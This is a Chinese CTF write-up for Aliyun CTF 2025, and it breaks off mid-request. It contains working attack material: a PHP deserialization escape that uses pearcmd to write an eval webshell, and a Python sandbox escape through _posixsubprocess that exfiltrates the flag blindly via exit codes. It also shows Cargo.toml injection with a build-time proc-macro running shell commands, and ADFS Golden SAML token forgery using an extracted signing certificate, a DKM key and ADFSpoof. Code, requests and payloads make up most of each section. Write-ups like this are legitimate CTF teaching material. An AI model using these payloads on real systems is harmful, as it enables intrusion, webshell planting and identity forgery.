阿里云CTF

2025

Posted by lyk on February 25, 2025

0x01 打卡OK

部分源码通过加 ~ 给出,注意到 index.php~ 有如下代码,其中 background 默认为 ok。

$check = "/var/www/html/" . $checkdata['background'] . ".php";

因此读取 ok.php~。

<?php echo 'ok';?>
//adminer_481.php

弱口令 root/root,写文件。

img

img

官方说忘记改弱口令了,阿巴阿巴,下面是正常解

官方解

~泄漏,发现adminer_481.php,登陆后修改用户密码登陆 MD5 (“12345asdasdasdasdad”) = 5d710c8773a7415726cd25b3ffebfa3e 5d710c8773a7415726cd25b3ffebfa3e:12345 //asdasdasdasdad

审计代码,利用绕过date函数反序列化逃逸

index.php

<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
    if(isset($_GET['debug_buka']))
    {
        $time=date($_GET['debug_buka']);
    }else{
        $time=date("Y-m-d H:i:s");
    }
    $arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
    $check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
    $cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
    if (is_file($cachefile)) {
        $data=file_get_contents($cachefile);
        $checkdata = unserialize(str_replace("<?php exit;//", '', $data));
        $check="/var/www/html/".$checkdata['background'].".php";
        include "$check";
    }else{
        include 'error.php';
    }
}
?>
POST /index.php?debug_buka=%5c%31%5c%32%5c%33%5c%78%5c%78%5c%78%5c%78%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%3a%5c%22%5c%74%5c%69%5c%6d%5c%65%5c%22%5c%3b%5c%73%5c%3a%5c%32%5c%3a%5c%22%5c%31%5c%32%5c%22%5c%3b%5c%73%5c%3a%5c%31%5c%30%5c%3a%5c%22%5c%62%5c%61%5c%63%5c%6b%5c%67%5c%72%5c%6f%5c%75%5c%6e%5c%64%5c%22%5c%3b%5c%73%5c%3a%5c%34%5c%33%5c%3a%5c%22%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%2e%5c%2e%5c%2f%5c%75%5c%73%5c%72%5c%2f%5c%6c%5c%6f%5c%63%5c%61%5c%6c%5c%2f%5c%6c%5c%69%5c%62%5c%2f%5c%70%5c%68%5c%70%5c%2f%5c%70%5c%65%5c%61%5c%72%5c%63%5c%6d%5c%64%22%5c%3b%5c%7d HTTP/1.1
Host: 192.168.10.100:50100
Content-Length: 53
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Origin: http://192.168.10.100:50100
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=fpd8m225h699b4o6stpja3vtcc; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close

reason=%3C%3Fphp+exit%3B%2F%2F%3C%3Fphp+exit%3B%2F%2F

然后pearcmd即可

POST /index.php?check&+config-create+/<?=@eval($_GET[1]);?>+/var/www/html/hello.php HTTP/1.1
Host: 172.16.2.72:5898
Content-Length: 7
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Origin: http://172.16.2.72:5398
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.16.2.72:5398/index.php?check/?+config-create+/%3C?=phpinfo()?%3E+/var/www/html/hello.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=inns5m7uhe0i3d9d19dtgcmsj2; adminer_version=4.8.1
x-forwarded-for: localhost
Connection: close

check=1

0x02 ezoj

/source 源码。

_posixsubprocess 可以执行命令,盲注梭了。

import requests
from Crypto.Util.number import *

CODE = """
CODE = '''
import subprocess
r = subprocess.run('cat /flag*', shell=True, capture_output=True)
flag = r.stdout.strip()
flag = int(flag.hex(), 16)

{content}
'''

try:
    import _posixsubprocess
    import os
    import time
    _posixsubprocess.fork_exec([b"python3", b"-c", CODE.encode()], [b"/usr/bin/python3"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)

    time.sleep(0.05)
except Exception as e:
    print(e)
"""

# 先试试有夺少位:
# for i in range(512):
#     code = CODE.format(content=f'''
# if flag > {1 << i}:
#     print(2)
#     ''')
#     r = requests.post('http://121.41.238.106:25460/api/submit', json={
#         'code': code,
#         'problem_id': '0',
#     })
#     print(1 << i, r.text)

def test(k):
    code = CODE.format(content=f'''
if flag >= {k}:
    print(2)
    ''')
    r = requests.post('http://121.41.238.106:25460/api/submit', json={
        'code': code,
        'problem_id': '0',
    })
    return '1/10' in r.text

l = bytes_to_long(b'aliyunctf{' + b' ' * 37)
r = bytes_to_long(b'aliyunctf{' + b'\x7f' * 37)
while l + 1 < r:
    mid = (l + r) // 2
    if test(mid):
        l = mid
    else:
        r = mid

    l_txt = long_to_bytes(l)
    r_txt = long_to_bytes(r)
    bits = (r - l).bit_length()
    print(f'{bits} remaining, {l_txt}..{r_txt}')

官方解

打开题目的web页面后是一个OJ,OJ里面有五个题目,页面最下面提示了/source查看源码。

/source中可以发现,该OJ在执行python代码时,会使用audithook限制代码的行为。限制方法为白名单,只允许["import","time.sleep","builtins.input","builtins.input/result"]的事件执行。

先尝试获取python版本,发现OJ会将程序的退出码回显给用户,可以利用这个回显信息。

获取了sys.version_info的三个值后,可以得到python版本3.12.9

根据白名单的内容,允许导入模块,但是导入其他模块需要用到compile和exec,因此只能导入内部模块。

在内部模块中发现了_posixsubprocess,该模块能够fork_exec执行任意命令同时内部没有触发审计。

由于题目不出网而且也无法直接回显,因此需要把执行程序的标准输出读出来。在源码中可以发现c2pwrite参数会重定向到子进程的标准输出

if (c2pwrite == 1) {
    if (_Py_set_inheritable_async_safe(c2pwrite, 1, NULL) < 0)
        goto error;
}
else if (c2pwrite != -1)
    POSIX_CALL(dup2(c2pwrite, 1));  /* stdout */

因此使用下面的脚本,执行命令并将结果写入到退出码中。

import requests

URL = "http://10.253.253.1/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys

std_pipe = os.pipe()
err_pipe = os.pipe()

_posixsubprocess.fork_exec(
    (b"/bin/bash",b"-c",b"ls /"),
    [b"/bin/bash"],
    True,
    (),
    None,
    None,
    -1,
    -1,
    -1,
    std_pipe[1], #c2pwrite
    -1,
    -1,
    *(err_pipe),
    False,
    False,
    False,
    None,
    None,
    None,
    -1,
    None,
    False,
)
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)

if {loc} < content_len:
    sys.exit(content[{loc}])
else:
    sys.exit(255)
"""

command="ls /"
received = ""

for i in range(254):
    code = CODE_TEMPLATE.format(loc=i,command=command)
    data = {"problem_id":0,"code":code}
    resp = requests.post(URL,json=data)
    resp_data = resp.json()
    assert(resp_data["status"] == "RE")
    ret_loc = resp_data["message"].find("ret=")
    ret_code = resp_data["message"][ret_loc+4:]
    if ret_code == "255":
        break
    received += chr(int(ret_code))
    print(received)

由于os.read可能会将程序卡住,因此在os.read之前先sleep一下。最后在根目录找到flag文件,直接读取获得flag。

0x03 Rust Action

题目的整体思路是利用 Rust 的过程宏在编译期间执行代码

route::upload_job 函数内, 直接使用了 format 宏格式化 Cargo.toml 的内容

let cargo_toml = format!(
    include_str!("../templates/Cargo.toml.tpl"),
    name = job.config.name,
    version = job.config.version,
    edition = job.config.edition,
    description = job.config.description,
);
fs::write(temp_dir.path().join("Cargo.toml"), cargo_toml).await?;

Cargo.toml.tpl

[package]
build = false
publish = false

name = "{name}"
version = "{version}"
edition = "{edition}"
description = "{description}"

format 宏并不会对字符串进行转义, 因此这里存在配置文件注入的问题, 我们可以在 workflow.yaml 内构造特定 payload 向 Cargo.toml 内添加其它参数

job:
  name: exploit job
  mode: release
  config:
    name: exploit
    version: 0.1.0
    edition: 2021
    description: |-
      "
      [lib]
      proc-macro = true
      #
  files:
    - main.rs
  run: cargo build --release

题目可以上传 workflow.yml 和 main.rs,然后由服务器组装成 cargo 项目去 build,并且没法拿到 build 后的 artifacts。在 rust 编译期执行,两种思路,一种是用 build script,但这里 Cargo.toml.tpl 明确禁止了,所以可以考虑 proc macro。

但 proc macro 需要两个 crate,而服务器在 build 一个项目时会临时生成项目结构,因此无法直接引用。一个主要的观察是 Cargo.toml 模板实例化时可以多行字符溢出,且 Cargo.toml 中的引用可以路径穿越,因此可以在上传 proc macro 为一号 job,然后在二号 job 中用 [lib] proc-macro=true path = “../” 去引用,达成任意代码执行,之后再通过 compiler status 去侧信道即可。

extern crate proc_macro;
use proc_macro::TokenStream;

use std::path::Path;
use std::process::Command;

#[proc_macro]
pub fn make_answer(item: TokenStream) -> TokenStream {
    std::process::Command::new("sh")
        .arg("-c")
        .arg("chmod 777 /flag")
        .status()
        .unwrap();
    let flag_path = Path::new("/flag");
    if !flag_path.exists() {
        panic!();
    }
    let flag = std::fs::read_to_string(flag_path).unwrap();

    let bit_path = Path::new("/app/test.txt");
    if !bit_path.exists() {
        std::fs::write(bit_path, "0").unwrap();
    }
    let bit = std::fs::read_to_string(bit_path).unwrap();
    let bit: u32 = bit.parse().unwrap();
    std::fs::write(bit_path, (bit + 1).to_string()).unwrap();

    let ch = flag.as_bytes()[(bit / 8) as usize];
    let bit = (ch >> (bit % 8)) & 1;
    if bit == 1 {
        panic!();
    }

    "fn answer() -> u32 { 42 }".parse().unwrap()
}
extern crate pkg2;

pkg2::make_answer!();

fn main() {
    println!("Hello, World!");
}

job:
  name: test
  mode: release
  config:
    name: pkg2
    version: 1.0.0
    edition: 2021
    description: "\"\n\n[lib]\nproc-macro = true\npath = \"/app/jobs/19e674a1-3369-49ce-9fe7-ac5d3e476cb6/files/main.rs"
  files:
    - main.rs
  run: cargo build --release

import requests

flag = ""

while True:
    bs = ""
    for i in range(8):
        resp = requests.post(
            "http://121.41.238.106:38184/jobs/6e69c0dd-d89c-42d6-8b78-4fa056836cfe/run"
        )
        if "exit code" in resp.text:
            bs += "1"
        else:
            bs += "0"

        print(i)

    print(bs)
    c = chr(int(bs[::-1], 2))
    flag += c
    print("Flag", flag)

0x04 Offens1ve

题目开放两个应用:

https://oa.offensive.local:8443/
https://monitor.offensive.local:8080/

首先访问https://oa.offensive.local:8443/,将自动跳转到ADFS联合身份验证页面:

img

现在的攻击思路就是,需要绕过ADFS Portal,访问到oa系统,才能得到flag。这里就需要我们伪造AD FS 安全令牌(AD FS security tokens)。

伪造 AD FS security tokens 的前提是从 ADFS 的本地 Wid 数据库中提取出令牌签名证书,并从Active Directory 中拿到 DKM 解密密钥。

访问 https://monitor.offensive.local:8080/ 是一个网络监控系统,并显示了当前内网的拓扑图(假的,,,)

img

这里设计的比较友好,点击“ADFS01”或者“ADFS02”节点,可以直接导出 ADFS 配置数据:

img

img

AdfsConfigurationV4_.IdentityServerPolicy_.ServiceSettings_.sql 中的EncryptedPFX blob可以找到加密的令牌签名证书:

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

将其保存到TKSKey.txt中。

然后点击“DC”节点,这里可以查询LDAP语句:

img

通过(&(thumbnailphoto=*)(objectClass=contact)(!(cn=CryptoPolicy)))查询语句可以从LDAP中查询出 DKM Key:

img

将逗号替换成空格:

247 233 184 62 232 77 10 212 57 54 41 4 51 200 57 91 37 196 172 253 141 124 219 125 134 219 137 163 189 90 51 144

然后保存到DKMKey.txt中。

现在我们得到了两个文件:

  • DKMKey.txt:将包含 DKM 密钥。

  • TKSKey.txt:将包含令牌签名密钥。

接下来,需要通过以下命令,将信息转换为工具可以使用的格式:

# TKSKey.txt 需要进行 Base64 解码
cat TKSKey.txt | base64 -d > TKSKey.bin

# DKMKey.txt 需要转换为十六进制值
cat DKMkey.txt | awk '{for(i=1;i<=NF;i++) printf "%02X%s", $i, (i<NF?" ":"\n")}' | tr -d " " | xxd -r -p > DKMkey.bin

现在,我们拥有了伪造 ADFS 登录令牌所需的所有详细信息。此示例使用 ADFSpoof 工具为用户 “Finley_Blaze1” 创建 Golden SAML 令牌。

首先,将 ADFSpoof/templates/o365.xml 模版文件的内容修改成如下,并将其中的 XML 进行 Minify 操作:

<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"><t:Lifetime><wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenCreated</wsu:Created><wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$TokenExpires</wsu:Expires></t:Lifetime><wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy"><wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing"><wsa:Address>https://oa.offensive.local:8443/</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><t:RequestedSecurityToken><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:1.0:assertion" MajorVersion="1" MinorVersion="1" AssertionID="$AssertionID" Issuer="http://$AdfsServer/adfs/services/trust" IssueInstant="$TokenCreated"><saml:Conditions NotBefore="$TokenCreated" NotOnOrAfter="$TokenExpires"><saml:AudienceRestrictionCondition><saml:Audience>https://oa.offensive.local:8443/</saml:Audience></saml:AudienceRestrictionCondition></saml:Conditions><saml:AttributeStatement><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject><saml:Attribute AttributeName="upn" AttributeNamespace="http://schemas.xmlsoap.org/ws/2005/05/identity/claims"><saml:AttributeValue>$UPN</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="primarysid" AttributeNamespace="http://schemas.microsoft.com/ws/2008/06/identity/claims"><saml:AttributeValue>S-1-5-21-774119550-1432414505-3505898924-1155</saml:AttributeValue></saml:Attribute><saml:Attribute AttributeName="groupsid" AttributeNamespace="http://schemas.microsoft.com/ws/2008/06/identity/claims"><saml:AttributeValue>S-1-5-21-774119550-1432414505-3505898924-513</saml:AttributeValue></saml:Attribute></saml:AttributeStatement><saml:AuthenticationStatement AuthenticationMethod="urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport" AuthenticationInstant="$TokenCreated"><saml:Subject><saml:NameIdentifier Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">$NameIdentifier</saml:NameIdentifier><saml:SubjectConfirmation><saml:ConfirmationMethod>urn:oasis:names:tc:SAML:1.0:cm:bearer</saml:ConfirmationMethod></saml:SubjectConfirmation></saml:Subject></saml:AuthenticationStatement><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#" Id="placeholder"></ds:Signature></saml:Assertion></t:RequestedSecurityToken><t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType><t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType><t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType></t:RequestSecurityTokenResponse>

执行如下命令,生成伪造的 SAML 令牌:

python3 ADFSpoof.py -b TKSKey.bin DKMkey.bin --server sts.offensive.local o365 --upn Administrator@offensive.local --objectguid {FF6A004D-334C-4D19-AFEB-3F4467F9CBCE}

img

现在只需使用伪造的 SAML 令牌以 Administrator 用户的身份登录 OA 发起联合身份验证。这可以通过使用 Burp Suite 的 Repeater 模块重放 Web 请求来实现:

POST / HTTP/1.1
Host: oa.offensive.local:8443
Content-Length: 7251
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Origin: https://sts.offensive.local
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://sts.offensive.local/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Priority: u=0, i
Connection: close

wa=wsignin1.0&wresult=%3Ct%3ARequestSecurityTokenResponse%20xmlns%3At%3D%22http%3A//schemas.xmlsoap.org/ws/2005/02/trust%22%3E%3Ct%3ALifetime%3E%3Cwsu%3ACreated%20xmlns%3Awsu%3D%22http%3A//docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd%22%3E2025-02-06T10%3A09%3A52.000Z%3C/wsu%3ACreated%3E%3Cwsu%3AExpires%20xmlns%3Awsu%3D%22http%3A//docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd%22%3E2025-02-06T11%3A09%3A52.000Z%3C/wsu%3AExpires%3E%3C/t%3ALifetime%3E%3Cwsp%3AAppliesTo%20xmlns%3Awsp%3D%22http%3A//schemas.xmlsoap.org/ws/2004/09/policy%22%3E%3Cwsa%3AEndpointReference%20xmlns%3Awsa%3D%22http%3A//www.w3.org/2005/08/addressing%22%3E%3Cwsa%3AAddress%3Ehttps%3A//oa.offensive.local%3A8443/%3C/wsa%3AAddress%3E%3C/wsa%3AEndpointReference%3E%3C/wsp%3AAppliesTo%3E%3Ct%3ARequestedSecurityToken%3E%3Csaml%3AAssertion%20xmlns%3Asaml%3D%22urn%3Aoasis%3Anames%3Atc%3ASAML%3A1.0%3Aassertion%22%20MajorVersion%3D%221%22%20MinorVersion%3D%221%22%20AssertionID%3D%22_E89JCT%22%20Issuer%3D%22http%3A//sts.offensive.local/adfs/services/trust%22%20IssueInstant%3D%222025-02-06T10%3A09%3A52.000Z%22%3E%3Csaml%3AConditions%20NotBefore%3D%222025-02-06T10%3A